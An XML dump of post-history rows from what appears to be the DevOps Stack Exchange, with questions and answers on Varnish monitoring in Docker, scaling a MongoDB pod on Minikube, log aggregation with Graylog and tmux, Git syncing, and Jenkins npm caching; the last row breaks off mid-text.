  <row Id="7543" PostHistoryTypeId="5" PostId="2411" RevisionGUID="ffd15f9e-8fa1-43c0-8134-f1525468d334" CreationDate="2017-10-24T15:35:06.443" UserId="4289" Comment="Improved formatting and grammar." Text="How do you monitor varnish cache inside a docker container? Focusing mainly on `nagios` and `new relic`. &#xD;&#xA;&#xD;&#xA;I have found many tools on Google relating to this but we are focusing only on `nagios` and `new relic`." ContentLicense="CC BY-SA 3.0" />
  <row Id="7544" PostHistoryTypeId="4" PostId="2411" RevisionGUID="ffd15f9e-8fa1-43c0-8134-f1525468d334" CreationDate="2017-10-24T15:35:06.443" UserId="4289" Comment="Improved formatting and grammar." Text="How do you monitor varnish cache inside a docker container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7545" PostHistoryTypeId="24" PostId="2411" RevisionGUID="ffd15f9e-8fa1-43c0-8134-f1525468d334" CreationDate="2017-10-24T15:35:06.443" Comment="Proposed by 4289 approved by 13 edit id of 508" ContentLicense="CC BY-SA 3.0" />
  <row Id="7546" PostHistoryTypeId="2" PostId="2412" RevisionGUID="1ca155d6-f6c2-40b7-8a1d-dca110fa7089" CreationDate="2017-10-24T16:00:31.553" UserId="4864" Text="I made these settings :&#xD;&#xA;---&#xD;&#xA;        apiVersion: v1&#xD;&#xA;        kind: PersistentVolumeClaim&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            name: mongo-claim0&#xD;&#xA;          name: mongo-claim0&#xD;&#xA;          namespace: my-app&#xD;&#xA;        spec:&#xD;&#xA;          accessModes:&#xD;&#xA;          - ReadWriteOnce&#xD;&#xA;          resources:&#xD;&#xA;            requests:&#xD;&#xA;              storage: 100Mi&#xD;&#xA;        status: {}&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: ReplicationController&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        name: mongo&#xD;&#xA;      name: mongo-controller&#xD;&#xA;      namespace: my-app&#xD;&#xA;    spec:&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            name: mongo&#xD;&#xA;        spec:&#xD;&#xA;          containers:&#xD;&#xA;          - image: mongo&#xD;&#xA;            name: mongo&#xD;&#xA;            ports:&#xD;&#xA;            - name: mongo&#xD;&#xA;              containerPort: 27017&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - mountPath: /data/db&#xD;&#xA;              name: mongo-claim0&#xD;&#xA;          restartPolicy: Always&#xD;&#xA;          volumes:&#xD;&#xA;          - name: mongo-claim0&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mongo-claim0&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mongo&#xD;&#xA;      namespace: my-app&#xD;&#xA;      labels:&#xD;&#xA;        name: mongo&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 27017&#xD;&#xA;        targetPort: 27017&#xD;&#xA;      selector:&#xD;&#xA;        name: mongo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;When I try to scale this pod, Minikube UI show :&#xD;&#xA;&#xD;&#xA;&gt; mongo-controller-xr21r -&gt; Waiting: CrashLoopBackOff Back-off&#xD;&#xA;&gt; restarting failed container Error syncing pod&#xD;&#xA;&#xD;&#xA;And I got an error on the new pod :&#xD;&#xA;&#xD;&#xA;&gt; exception in initAndListen: 98 Unable to lock file:&#xD;&#xA;&gt; /data/db/mongod.lock Resource temporarily unavailable&#xD;&#xA;&#xD;&#xA;Could you help me to be able to scale a pod with a persistent storage ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7547" PostHistoryTypeId="1" PostId="2412" RevisionGUID="1ca155d6-f6c2-40b7-8a1d-dca110fa7089" CreationDate="2017-10-24T16:00:31.553" UserId="4864" Text="How to replicate a mongodb pod with its persistent storage (Minikube - Kubernetes)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostHistoryTypeId="3" PostId="2412" RevisionGUID="1ca155d6-f6c2-40b7-8a1d-dca110fa7089" CreationDate="2017-10-24T16:00:31.553" UserId="4864" Text="&lt;kubernetes&gt;&lt;minikube&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7549" PostHistoryTypeId="2" PostId="2413" RevisionGUID="08414209-db23-43ef-b010-97756416b061" CreationDate="2017-10-24T17:39:02.013" UserId="739" Text="# centralized `tmux`&#xD;&#xA;&#xD;&#xA;While the other answers are smarter and wiser for the long term I think the quick hacky CLI solution is worth mentioning.  Run `tmux` on one server that can reach all of the others.  A good place for this would be a jump box or some other place that folks are commonly logged in anyway.  Within this &quot;central&quot; `tmux` ssh to each box in a different pane and tail whatever log files are necessary.  You can use &lt;kbd&gt;ctrl&lt;/kbd&gt;-&lt;kbd&gt;b&lt;/kbd&gt; &lt;kbd&gt;&quot;&lt;/kbd&gt; to get more panes in one tab within `tmux`.  Now all someone has to do to check things is attach to the &quot;central&quot; `tmux` session and they can see the whole cluster at a glance.&#xD;&#xA;&#xD;&#xA;I spent a lot of time building the web UI solutions that you are working toward, but if you need it today hacking together something with `tmux` can save the day." ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostHistoryTypeId="2" PostId="2414" RevisionGUID="3d9e4949-8b20-4077-ada2-65aa50c58c8c" CreationDate="2017-10-24T19:17:25.657" UserId="4877" Text="I wonder if anyone knows of a tool or method that I can use to accomplish my goal of having a folder that always contains a copy of the latest code from my GIT repository.&#xD;&#xA;&#xD;&#xA;I need it to work generically with GIT, as it may be hosted on VisualStudio.com, Bitbucket, Github or any other GIT provider.&#xD;&#xA;&#xD;&#xA;Background: I have a requirement to keep all the latest code in a big data store in Azure. It will be hundreds of repositories, frequently adding more. I find it more scalable to download the code from a folder rather than integrating directly with GIT with that many repositories. So I am looking for some existing method or tool to go in-between and place a copy of the latest code from my GIT repository in a folder." ContentLicense="CC BY-SA 3.0" />
  <row Id="7551" PostHistoryTypeId="1" PostId="2414" RevisionGUID="3d9e4949-8b20-4077-ada2-65aa50c58c8c" CreationDate="2017-10-24T19:17:25.657" UserId="4877" Text="Need a folder, always updated with the latest code from GIT" ContentLicense="CC BY-SA 3.0" />
  <row Id="7552" PostHistoryTypeId="3" PostId="2414" RevisionGUID="3d9e4949-8b20-4077-ada2-65aa50c58c8c" CreationDate="2017-10-24T19:17:25.657" UserId="4877" Text="&lt;git&gt;&lt;azure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7553" PostHistoryTypeId="2" PostId="2415" RevisionGUID="7d0dd30d-5933-4636-8ca4-7c0b6b2516ad" CreationDate="2017-10-24T20:11:39.157" UserId="4878" Text="The standard pattern for this is to have a build that is triggered upon change to the git repository.  The build will do nothing more than checkout the repository and make an archive of everything but the .git folder, then upload that to whatever file server(s) make(s) it available to all the things that need it.  Implementation specifics depend on the git server, build server, file server, and build tool chosen but this should be trivial to implement in almost all cases." ContentLicense="CC BY-SA 3.0" />
  <row Id="7554" PostHistoryTypeId="2" PostId="2416" RevisionGUID="877e9458-8496-4648-ae9e-2b5a2e642280" CreationDate="2017-10-24T20:18:15.603" UserId="786" Text="Use a Git [post-receive hook][1] to issue a `git pull` in the directory you want to keep updated. You might want to mount the directory you want to keep updated locally to the Git server, or execute that command remotely with `ssh` into Git Bash on Windows, or Powershell. Alternatively have the hook call a webhook and have the webhook execute the `git pull`. The webhook method will be easiest with BitBucket, I don't know about the others.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostHistoryTypeId="5" PostId="2388" RevisionGUID="f098864e-c8b7-4e06-bb1d-47efb56b8b73" CreationDate="2017-10-24T21:37:58.393" UserId="739" Comment="formatting and copy edit" Text="We have three servers that are running python programs that are running data analysis tasks inside a `tmux` session. The method we are using at the moment is ssh'ing into each of them connecting the `tmux` session and watching the output on the command line. &#xD;&#xA;&#xD;&#xA;This method is tedious, so what we are looking for is a solution that automates monitoring of program progress(output on CLI) for multiple servers at the same time. We would ideally like a web UI solution but a CLI would also be perfectly suitable.&#xD;&#xA;&#xD;&#xA;Thank you for reading." ContentLicense="CC BY-SA 3.0" />
  <row Id="7556" PostHistoryTypeId="24" PostId="2388" RevisionGUID="f098864e-c8b7-4e06-bb1d-47efb56b8b73" CreationDate="2017-10-24T21:37:58.393" Comment="Proposed by 739 approved by 40, 47 edit id of 509" ContentLicense="CC BY-SA 3.0" />
  <row Id="7558" PostHistoryTypeId="5" PostId="2414" RevisionGUID="9f5376d4-f1a8-4f7f-92d6-4e8fb1bd0624" CreationDate="2017-10-25T00:40:46.247" UserId="4881" Comment="Fix Git capitalization (Git is not an acronym)." Text="I wonder if anyone knows of a tool or method that I can use to accomplish my goal of having a folder that always contains a copy of the latest code from my Git repository.&#xD;&#xA;&#xD;&#xA;I need it to work generically with Git, as it may be hosted on VisualStudio.com, Bitbucket, GitHub or any other Git provider.&#xD;&#xA;&#xD;&#xA;Background: I have a requirement to keep all the latest code in a big data store in Azure. It will be hundreds of repositories, frequently adding more. I find it more scalable to download the code from a folder rather than integrating directly with Git with that many repositories. So I am looking for some existing method or tool to go in-between and place a copy of the latest code from my Git repository in a folder.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7559" PostHistoryTypeId="4" PostId="2414" RevisionGUID="9f5376d4-f1a8-4f7f-92d6-4e8fb1bd0624" CreationDate="2017-10-25T00:40:46.247" UserId="4881" Comment="Fix Git capitalization (Git is not an acronym)." Text="Need a folder, always updated with the latest code from Git" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostHistoryTypeId="24" PostId="2414" RevisionGUID="9f5376d4-f1a8-4f7f-92d6-4e8fb1bd0624" CreationDate="2017-10-25T00:40:46.247" Comment="Proposed by 4881 approved by 47, 40 edit id of 510" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostHistoryTypeId="2" PostId="2417" RevisionGUID="763953ca-fc9c-4ff3-bb92-311bb9e00dd0" CreationDate="2017-10-25T07:02:49.860" UserId="4876" Text="## Graylog&#xD;&#xA;&#xD;&#xA;Since two people already advised you to rethink your current process (which I second since it will cause you sleepless nights at some point ;)), I will go another route and recommend a specific piece of software which - in my opinion - fits most your needs: [Graylog](https://www.graylog.org/).&#xD;&#xA;&#xD;&#xA;I implemented and used a couple of [ELK stacks](https://www.elastic.co/webinars/introduction-elk-stack) for both log aggregation and business intelligence and also run/maintain graylog for about two years now at my current employer. I recommend graylog since it has the following features built-in and is - in my opinion - a bit easier to setup and maintain:&#xD;&#xA;&#xD;&#xA;- A web-interface&#xD;&#xA;- Multiuser capabilities&#xD;&#xA;- Alerting&#xD;&#xA;&#xD;&#xA;As far as I understand your scenario, it looks as if you need to act or be alerted on certain events that appear in your stream of log messages. If we look at the [Graylog features](https://www.graylog.org/features):&#xD;&#xA;&#xD;&#xA;&gt; Trigger actions or get notified when something needs attention, such as failed login attempts, exceptions or performance degradation.&#xD;&#xA;&#xD;&#xA;&gt;Ideas: Send an email or Slack message to your team. Spawn a new machine to balance the processing load. Block IP ranges in your firewalls automatically when an attack is detected.&#xD;&#xA;&#xD;&#xA;To give graylog a try I'd recommend the following two steps:&#xD;&#xA;&#xD;&#xA;- Setup a dedicated host which is reachable by all you application hosts to run graylog (and its dependencies MongoDB and ElasticSearch)&#xD;&#xA;- Send logs from your application to graylog (possibly as [GELF](http://docs.graylog.org/en/2.3/pages/gelf.html) messages)&#xD;&#xA;&#xD;&#xA;Note: These two steps have the ability to fill pages and pages of best practices and should receive at least a couple of thoughts. Not to mention that graylog isn't a monitoring solution and graylog itself should be monitored by a proper monitoring tool (like e.g. Icinga, Prometheus, Nagios to name just a few)." ContentLicense="CC BY-SA 3.0" />
  <row Id="7562" PostHistoryTypeId="5" PostId="2417" RevisionGUID="d1c4d8d8-af88-48f8-b0f9-23d5b0e8d756" CreationDate="2017-10-25T08:20:23.313" UserId="4876" Comment="added 3 characters in body" Text="## Graylog&#xD;&#xA;&#xD;&#xA;Since two people already advised you to rethink your current process (which I second since it will cause you sleepless nights at some point ;)), I will go another route and recommend a specific piece of software which - in my opinion - fits most of your needs: [Graylog](https://www.graylog.org/).&#xD;&#xA;&#xD;&#xA;I implemented and used a couple of [ELK stacks](https://www.elastic.co/webinars/introduction-elk-stack) for both log aggregation and business intelligence and also run/maintain graylog for about two years now at my current employer. I recommend graylog since it has the following features built-in and is - in my opinion - a bit easier to setup and maintain:&#xD;&#xA;&#xD;&#xA;- A web-interface&#xD;&#xA;- Multiuser capabilities&#xD;&#xA;- Alerting&#xD;&#xA;&#xD;&#xA;As far as I understand your scenario, it looks as if you need to act or be alerted on certain events that appear in your stream of log messages. If we look at the [Graylog features](https://www.graylog.org/features):&#xD;&#xA;&#xD;&#xA;&gt; Trigger actions or get notified when something needs attention, such as failed login attempts, exceptions or performance degradation.&#xD;&#xA;&#xD;&#xA;&gt;Ideas: Send an email or Slack message to your team. Spawn a new machine to balance the processing load. Block IP ranges in your firewalls automatically when an attack is detected.&#xD;&#xA;&#xD;&#xA;To give graylog a try I'd recommend the following two steps:&#xD;&#xA;&#xD;&#xA;- Setup a dedicated host which is reachable by all you application hosts to run graylog (and its dependencies MongoDB and ElasticSearch)&#xD;&#xA;- Send logs from your application to graylog (possibly as [GELF](http://docs.graylog.org/en/2.3/pages/gelf.html) messages)&#xD;&#xA;&#xD;&#xA;Note: These two steps have the ability to fill pages and pages of best practices and should receive at least a couple of thoughts. Not to mention that graylog isn't a monitoring solution and graylog itself should be monitored by a proper monitoring tool (like e.g. Icinga, Prometheus, Nagios to name just a few)." ContentLicense="CC BY-SA 3.0" />
  <row Id="7563" PostHistoryTypeId="2" PostId="2418" RevisionGUID="01272005-1a89-4787-b3fa-d73c37d83233" CreationDate="2017-10-25T08:38:30.657" UserId="290" Text="You could install a Nagios agent inside the container, but this means you have to add the newly config to the Nagios master, or use consul or other service discovery tool, and connect that with Nagios, so for every new container it will automatically add it to the Nagios. Be sure to export the nagios HTTP port not the administration one." ContentLicense="CC BY-SA 3.0" />
  <row Id="7564" PostHistoryTypeId="5" PostId="2411" RevisionGUID="9a83d7cd-9f85-4df2-862e-a245bfab5531" CreationDate="2017-10-25T08:42:50.073" UserId="13" Comment="Removed the repetition" Text="How do you monitor varnish cache inside a docker container? &#xD;&#xA;&#xD;&#xA;I have found many tools on Google relating to this but we are focusing only on `nagios` and `new relic`." ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostHistoryTypeId="50" PostId="1592" RevisionGUID="eec83cad-69b1-45cc-a4ca-e0a0963cf022" CreationDate="2017-10-25T09:53:44.487" UserId="-1" />
  <row Id="7566" PostHistoryTypeId="2" PostId="2419" RevisionGUID="5e73570b-3a12-42f7-a6be-444600d97f1f" CreationDate="2017-10-25T11:22:28.287" UserId="4898" Text="Updated the [python script](https://github.com/burukuru/jenkins-update-ec2-ami) from the PR above with:&#xD;&#xA;&#xD;&#xA;- CSRF support to work better with Jenkins 2.x&#xD;&#xA;- full support for private Jenkins jobs&#xD;&#xA;&#xD;&#xA;Also I wrote up some usage instructions." ContentLicense="CC BY-SA 3.0" />
  <row Id="7567" PostHistoryTypeId="5" PostId="2222" RevisionGUID="71da5dfe-6518-4dd9-9e58-5038fccc5079" CreationDate="2017-10-25T11:49:56.563" UserId="210" Comment="deleted 5 characters in body" Text="Questions related to elastic." ContentLicense="CC BY-SA 3.0" />
  <row Id="7568" PostHistoryTypeId="24" PostId="2222" RevisionGUID="71da5dfe-6518-4dd9-9e58-5038fccc5079" CreationDate="2017-10-25T11:49:56.563" Comment="Proposed by 210 approved by 40, 46 edit id of 479" ContentLicense="CC BY-SA 3.0" />
  <row Id="7571" PostHistoryTypeId="2" PostId="2420" RevisionGUID="c8ff0863-bc7c-4eeb-b9b3-e0a2c7e0aeda" CreationDate="2017-10-25T18:34:50.747" UserId="4822" Text="Use Ansible callback.&#xD;&#xA;&#xD;&#xA;Stop looking at log files. Use log aggregation technology like Logstash.&#xD;&#xA;&#xD;&#xA;https://github.com/ujenmr/ansible-logstash-callback&#xD;&#xA;&#xD;&#xA;see also:&#xD;&#xA;https://groups.google.com/forum/#!topic/ansible-project/zOjsYxLN578" ContentLicense="CC BY-SA 3.0" />
  <row Id="7572" PostHistoryTypeId="2" PostId="2421" RevisionGUID="dcac7308-0720-4820-bd20-fad7fc8987e4" CreationDate="2017-10-25T18:47:40.910" UserId="4822" Text="I like SaltStack because the configuration management provides node testing if you want in the states, per node, and the results are coalesced in the job status and fully accounted for in the returners.&#xD;&#xA;&#xD;&#xA;SaltStack states also allow you to generate events on successes or failures, and it allows nodes to advertise arbitrary endpoint data (ie. which ip:port is it listening on), available to other nodes' configuration states.&#xD;&#xA;&#xD;&#xA;The combination of the two gets you what you probably want from Consul." ContentLicense="CC BY-SA 3.0" />
  <row Id="7573" PostHistoryTypeId="2" PostId="2422" RevisionGUID="b0852687-b457-4b1c-9556-537c5fd03ec7" CreationDate="2017-10-25T22:03:17.657" UserId="2276" Text="I am attempting to implement the Jenkins bitbucket-build-status-notifier-plugin, found here: &#xD;&#xA; https://github.com/jenkinsci/bitbucket-build-status-notifier-plugin  &#xD;&#xA;&#xD;&#xA;We used the shared-pipeline code functionality of Jenkinsfile, along with multibranch pipelines- all our Jenkinsfile code lives in one repo and each application makes only a parameterized call to a function in this repo.  &#xD;&#xA;The problem comes when the plugin posts status- it posts to the repo of the shared pipeline code, not the application being built!  It is otherwise working correctly, authenticating and posting status quickly.&#xD;&#xA;&#xD;&#xA;The plugin is not parameterized to allow me to pass in a commit ID- meaning that this is being derived from an environment variable, presumably in a novel way that other plugins are not using.  The plugin specifically cites changes to facilitate Jenkinsfile and multi-branch pipelines.  I suspect I may have a race condition with the scm checkout command, perhaps the bitbucket plugin is being initialized before any call to scm checkout is made?&#xD;&#xA;&#xD;&#xA;Does anyone have any advice on debugging this?  jenkins.err does not contain any errors, since nothing is throwing.  Is there an environment variable I can change in order to force a context switch from the shared pipeline code repo to the application code repo?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostHistoryTypeId="1" PostId="2422" RevisionGUID="b0852687-b457-4b1c-9556-537c5fd03ec7" CreationDate="2017-10-25T22:03:17.657" UserId="2276" Text="Jenkins bitbucket-build-status-notifier-plugin posts status to repo of shared pipeline library!" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostHistoryTypeId="3" PostId="2422" RevisionGUID="b0852687-b457-4b1c-9556-537c5fd03ec7" CreationDate="2017-10-25T22:03:17.657" UserId="2276" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostHistoryTypeId="2" PostId="2423" RevisionGUID="7963b853-708f-4dba-a0b6-25632d804797" CreationDate="2017-10-26T00:13:00.493" UserId="4790" Text="I have a Docker image, let's call it `frontend.image`, that I use for a Jenkins build slave. The Jenkins [Docker plugin][1] will spin up a container from this image and build artifacts inside the container. This all works great. In this case, the `frontend.image` is used to build an AngularJs app. Part of building this Angular app is to install npm packages the app requires.&#xD;&#xA;&#xD;&#xA;This process, npm install, seems to take a long time, 3 minutes it seems, npm always installs every package every time.&#xD;&#xA;&#xD;&#xA;So I added a volume for my slave, it is a host mounted volume, the Docker plugin will use this volume every time it runs the frontend container:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The user that executes the command `npm install` is `jenkins`. npm keeps a cache which you can find with command `npm config get cache` which outputs `/home/jenkins/.npm`&#xD;&#xA;&#xD;&#xA;That is why I have the host volume `/slaves/volumes/tsl.frontend:/home/jenkins` mounted to my web container slave.&#xD;&#xA;&#xD;&#xA;I build my Angular app using a Jenkins project, builds no problem, many npm packages are installed. If ssh into my Docker host and run cmd `ls /slaves/volumes/tsl.frontend` I see lots of npm packages. This means my host volume mount for the slave worked. &#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Now I build the Jenkins project again, npm installs every single package again, even though the Docker slave build container is using the volume host mount. I can even confirm by bashing into the slave container with cmd `docker exec -it web.slave bash` then cmd `su jenkins` then cmd `npm cache ls` which lists many npm packages that are cached.&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;So, even with my host mount volume, which is `chmod 777` by the way so there is no permissions issues, I cannot get `npm install`&#xD;&#xA;&#xD;&#xA;I have tried the regular `npm install` cmd, and also the npm cache &quot;hack&quot; `npm --cache-min 9999999 install`, taken from [this SO answer][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/V2Osl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ggCdS.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/a7ldf.png&#xD;&#xA;  [5]: https://stackoverflow.com/a/38827633/1258525" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostHistoryTypeId="1" PostId="2423" RevisionGUID="7963b853-708f-4dba-a0b6-25632d804797" CreationDate="2017-10-26T00:13:00.493" UserId="4790" Text="Jenkins Docker build slave - npm cache not working" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostHistoryTypeId="3" PostId="2423" RevisionGUID="7963b853-708f-4dba-a0b6-25632d804797" CreationDate="2017-10-26T00:13:00.493" UserId="4790" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;npm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7579" PostHistoryTypeId="5" PostId="2423" RevisionGUID="08f5c227-89dc-43c1-8913-f2b47658fc74" CreationDate="2017-10-26T00:20:26.773" UserId="4790" Comment="added 65 characters in body" Text="I have a Docker image, let's call it `frontend.image`, that I use for a Jenkins build slave. The Jenkins [Docker plugin][1] will spin up a container from this image and build artifacts inside the container. This all works great. In this case, the `frontend.image` is used to build an AngularJs app. Part of building this Angular app is to install npm packages the app requires.&#xD;&#xA;&#xD;&#xA;This process, npm install, seems to take a long time, 3 minutes it seems, npm always installs every package every time.&#xD;&#xA;&#xD;&#xA;So I added a volume for my slave, it is a host mounted volume, the Docker plugin will use this volume every time it runs the frontend container:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The user that executes the command `npm install` is `jenkins`. npm keeps a cache which you can find with command `npm config get cache` which outputs `/home/jenkins/.npm`&#xD;&#xA;&#xD;&#xA;That is why I have the host volume `/slaves/volumes/tsl.frontend:/home/jenkins` mounted to my web container slave.&#xD;&#xA;&#xD;&#xA;I build my Angular app using a Jenkins project, builds no problem, many npm packages are installed. If ssh into my Docker host and run cmd `ls /slaves/volumes/tsl.frontend` I see lots of npm packages. This means my host volume mount for the slave worked. &#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Now I build the Jenkins project again, npm installs every single package again, even though the Docker slave build container is using the volume host mount. I can even confirm by bashing into the slave container with cmd `docker exec -it web.slave bash` then cmd `su jenkins` then cmd `npm cache ls` which lists many npm packages that are cached.&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;So, even with my host mount volume, which is `chmod 777` by the way so there is no permissions issues, I cannot get `npm install`&#xD;&#xA;&#xD;&#xA;I have tried the regular `npm install` cmd, and also the npm cache &quot;hack&quot; `npm --cache-min 9999999 install`, taken from [this SO answer][5] as well as cmd `npm --skip-installed --cache-min 9999999 install`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/V2Osl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ggCdS.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/a7ldf.png&#xD;&#xA;  [5]: https://stackoverflow.com/a/38827633/1258525" ContentLicense="CC BY-SA 3.0" />
  <row Id="7580" PostHistoryTypeId="5" PostId="2423" RevisionGUID="2792bbbc-53ea-4e70-9a4e-39a7d2ddb8ac" CreationDate="2017-10-26T02:10:50.500" UserId="4790" Comment="added 176 characters in body" Text="I have a Docker image, let's call it `frontend.image`, that I use for a Jenkins build slave. The Jenkins [Docker plugin][1] will spin up a container from this image and build artifacts inside the container. This all works great. In this case, the `frontend.image` is used to build an AngularJs app. Part of building this Angular app is to install npm packages the app requires.&#xD;&#xA;&#xD;&#xA;This process, npm install, seems to take a long time, 3 minutes it seems, npm always installs every package every time.&#xD;&#xA;&#xD;&#xA;So I added a volume for my slave, it is a host mounted volume, the Docker plugin will use this volume every time it runs the frontend container:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The user that executes the command `npm install` is `jenkins`. npm keeps a cache which you can find with command `npm config get cache` which outputs `/home/jenkins/.npm`&#xD;&#xA;&#xD;&#xA;That is why I have the host volume `/slaves/volumes/tsl.frontend:/home/jenkins` mounted to my web container slave.&#xD;&#xA;&#xD;&#xA;I build my Angular app using a Jenkins project, builds no problem, many npm packages are installed. If ssh into my Docker host and run cmd `ls /slaves/volumes/tsl.frontend` I see lots of npm packages. This means my host volume mount for the slave worked. &#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;Now I build the Jenkins project again, npm installs every single package again, even though the Docker slave build container is using the volume host mount. I can even confirm by bashing into the slave container with cmd `docker exec -it &lt;some_clever_random_container_id&gt; bash` then cmd `su jenkins` then cmd `npm cache ls` which lists many npm packages that are cached.&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;So, even with my host mount volume, which has permissions `chmod 777` by the way so there is no permissions issues, I cannot get `npm install` to use the cache.&#xD;&#xA;&#xD;&#xA;I have tried the regular `npm install` cmd, which, when I run on my localhost machine installs all the packages the first time and almost no packages the next time. And also the npm cache &quot;hack&quot; `npm --cache-min 9999999 install`, taken from [this SO answer][5] as well as cmd `npm --skip-installed --cache-min 9999999 install`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Docker+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/V2Osl.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/ggCdS.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/a7ldf.png&#xD;&#xA;  [5]: https://stackoverflow.com/a/38827633/1258525" ContentLicense="CC BY-SA 3.0" />
  <row Id="7581" PostHistoryTypeId="5" PostId="2421" RevisionGUID="e6bfd16b-9070-4f78-b9b1-769ab2c4e0ac" CreationDate="2017-10-26T02:33:57.697" UserId="4822" Comment="salt minions advertise their details via mines" Text="I like SaltStack because the configuration management provides node testing if you want in the states, per node, and the results are coalesced in the job status and fully accounted for in the returners.&#xD;&#xA;&#xD;&#xA;SaltStack states also allow you to generate events on successes or failures, and it allows nodes to advertise (mines) arbitrary endpoint data (ie. which ip:port is it listening on), available to other nodes' configuration states.&#xD;&#xA;&#xD;&#xA;The combination of the two gets you what you probably want from Consul." ContentLicense="CC BY-SA 3.0" />
  <row Id="7582" PostHistoryTypeId="2" PostId="2424" RevisionGUID="a79f5c36-9d25-43ff-b47a-1ea8b645007d" CreationDate="2017-10-26T02:49:59.290" UserId="4822" Text="Use SaltStack to orchestrate your chef runs.&#xD;&#xA;&#xD;&#xA;Your cross-node orchestration logic goes here&#xD;&#xA;https://docs.saltstack.com/en/latest/topics/orchestrate/orchestrate_runner.html#more-complex-orchestration&#xD;&#xA;&#xD;&#xA;And you can declaratively&#xD;&#xA;https://docs.saltstack.com/en/latest/ref/states/all/salt.states.chef.html&#xD;&#xA;&#xD;&#xA;or imperatively&#xD;&#xA;https://docs.saltstack.com/en/latest/ref/modules/all/salt.modules.chef.html&#xD;&#xA;&#xD;&#xA;drive Chef nodes to their desired state." ContentLicense="CC BY-SA 3.0" />
  <row Id="7583" PostHistoryTypeId="5" PostId="2375" RevisionGUID="6902ede8-c107-4a65-b899-ba5b56e3056b" CreationDate="2017-10-26T08:58:59.587" UserId="13" Comment="added 242 characters in body" Text="In short, Chef may not be the tool to use here.&#xD;&#xA;&#xD;&#xA;Chef is a convergent model, so you have to write your recipes in an idempotent way such as after some runs it will be at the desired state according to the others nodes around.&#xD;&#xA;&#xD;&#xA;Your approach about storing the state sounds the way to go, and you'll have to use an external orchestrator to schedule the chef-client runs alternatively on A and B.  &#xD;&#xA;If you have a chef-server, push jobs could be the way to go sticking in chef ecosystem, main advantage I see with it compared to others orchestrators is a pull model not needing an incoming administrative port nor ssh on the target nodes." ContentLicense="CC BY-SA 3.0" />
  <row Id="7594" PostHistoryTypeId="5" PostId="2423" RevisionGUID="8286afc9-49f3-48d2-ae84-4a6204b09575" CreationDate="2017-10-26T20:31:22.070" UserId="4790" Comment="added 335 characters in body" Text="I have a Docker image, let's call it `frontend.image`, that I use for a Jenkins build slave. The Jenkins [Docker plugin][1] will spin up a container from this image and build artifacts inside the container. This all works great. In this case, the `frontend.image` is used to build an AngularJs app. Part of building this Angular app is to install npm packages the app requires.&#xD;&#xA;&#xD;&#xA;This process, npm install, seems to take a long time, 3 minutes it seems, npm always installs every package every time.&#xD;&#xA;&#xD;&#xA;So I added a volume for my slave, it is a host mounted volume, the Docker plugin will use this volume every time it runs the frontend container:&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The user that executes the command `npm install` is `jenkins`. npm keeps a cache which you can find with 